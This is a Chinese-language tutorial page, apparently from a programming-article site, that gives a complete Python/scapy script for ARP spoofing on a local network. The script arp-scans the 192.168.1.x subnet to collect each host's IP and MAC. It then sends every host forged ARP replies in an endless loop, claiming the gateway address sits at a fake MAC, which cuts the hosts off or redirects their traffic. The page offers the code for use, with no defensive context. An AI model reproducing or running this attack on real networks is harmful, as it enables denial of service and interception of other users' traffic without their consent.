python使用arp欺騙偽造網(wǎng)關(guān)的方法
本文實(shí)例講述了python使用arp欺騙偽造網(wǎng)關(guān)的方法。分享給大家供大家參考。具體實(shí)現(xiàn)方法如下:
#coding:utf-8 ''' arp欺騙局域網(wǎng)pc,將偽造的網(wǎng)關(guān)mac以網(wǎng)關(guān)的arp應(yīng)答發(fā)送給pc ''' from scapy.all import ARP,send,arping import sys,re stdout=sys.stdout IPADDR="192.168.1.*" gateway_ip='192.168.1.1' #偽造網(wǎng)關(guān)mac地址 gateway_hw='00:11:22:33:44:55' p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip) def arp_hack(ip,hw): #偽造來自網(wǎng)關(guān)的arp應(yīng)答 t=p t.hwdst=hw t.pdst=ip send(t) def get_host(): #得到在線主機(jī)的mac地址和對應(yīng)ip地址 hw_ip = {} sys.stdout = open('host.info','w') arping(IPADDR) sys.stdout = stdout f = open('host.info','r') info = f.readlines() f.close del info[0] del info[0] for host in info : temp = re.split(r'\s+',host) hw_ip[temp[1]] = temp[2] return hw_ip if __name__ == "__main__": hw_ip = get_host() while 1 : for i in hw_ip : arp_hack(hw=i,ip=hw_ip[i])
希望本文所述對大家的Python程序設(shè)計(jì)有所幫助。
相關(guān)文章
python第三方庫easydict的使用實(shí)例詳解
在?Python?中當(dāng)我們需要訪問字典中的元素的時候,我們需要使用類似?a['example']?的形式來進(jìn)行使用,這個時候就可以使用 easydict 這個模塊了,今天通過本文給大家講解python第三方庫easydict的使用,感興趣的朋友跟隨小編一起看看吧2022-11-11Python matplotlib繪圖可視化知識點(diǎn)整理(小結(jié))
這篇文章主要介紹了Python matplotlib繪圖可視化知識點(diǎn)整理(小結(jié)),小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-03-03pytorch 實(shí)現(xiàn)cross entropy損失函數(shù)計(jì)算方式
今天小編就為大家分享一篇pytorch 實(shí)現(xiàn)cross entropy損失函數(shù)計(jì)算方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-01-01pytorch?液態(tài)算法實(shí)現(xiàn)瘦臉效果
在PS中,我們可以利用液化工具對人像進(jìn)行形變處理,例如瘦臉、瘦腿、放大眼睛等一系列的常規(guī)操作。今天我們來了解一下這些操作的算法原理,并用pytorch來實(shí)現(xiàn)瘦臉效果2021-11-11Facebook開源一站式服務(wù)python時序利器Kats詳解
這篇文章主要為答案及介紹了Facebook開源一站式服務(wù)python時序利器Kats的功能詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11Python設(shè)置Socket代理及實(shí)現(xiàn)遠(yuǎn)程攝像頭控制的例子
這篇文章主要介紹了Python設(shè)置Socket代理及實(shí)現(xiàn)遠(yuǎn)程攝像頭控制的例子,皆是對socket模塊的實(shí)際運(yùn)用,需要的朋友可以參考下2015-11-11解決python3.5 正常安裝 卻不能直接使用Tkinter包的問題
今天小編就為大家分享一篇解決python3.5 正常安裝 卻不能直接使用Tkinter包的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-02-02使用Selenium實(shí)現(xiàn)微博爬蟲(預(yù)登錄、展開全文、翻頁)
這篇文章主要介紹了使用Selenium實(shí)現(xiàn)微博爬蟲(預(yù)登錄、展開全文、翻頁),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-04-04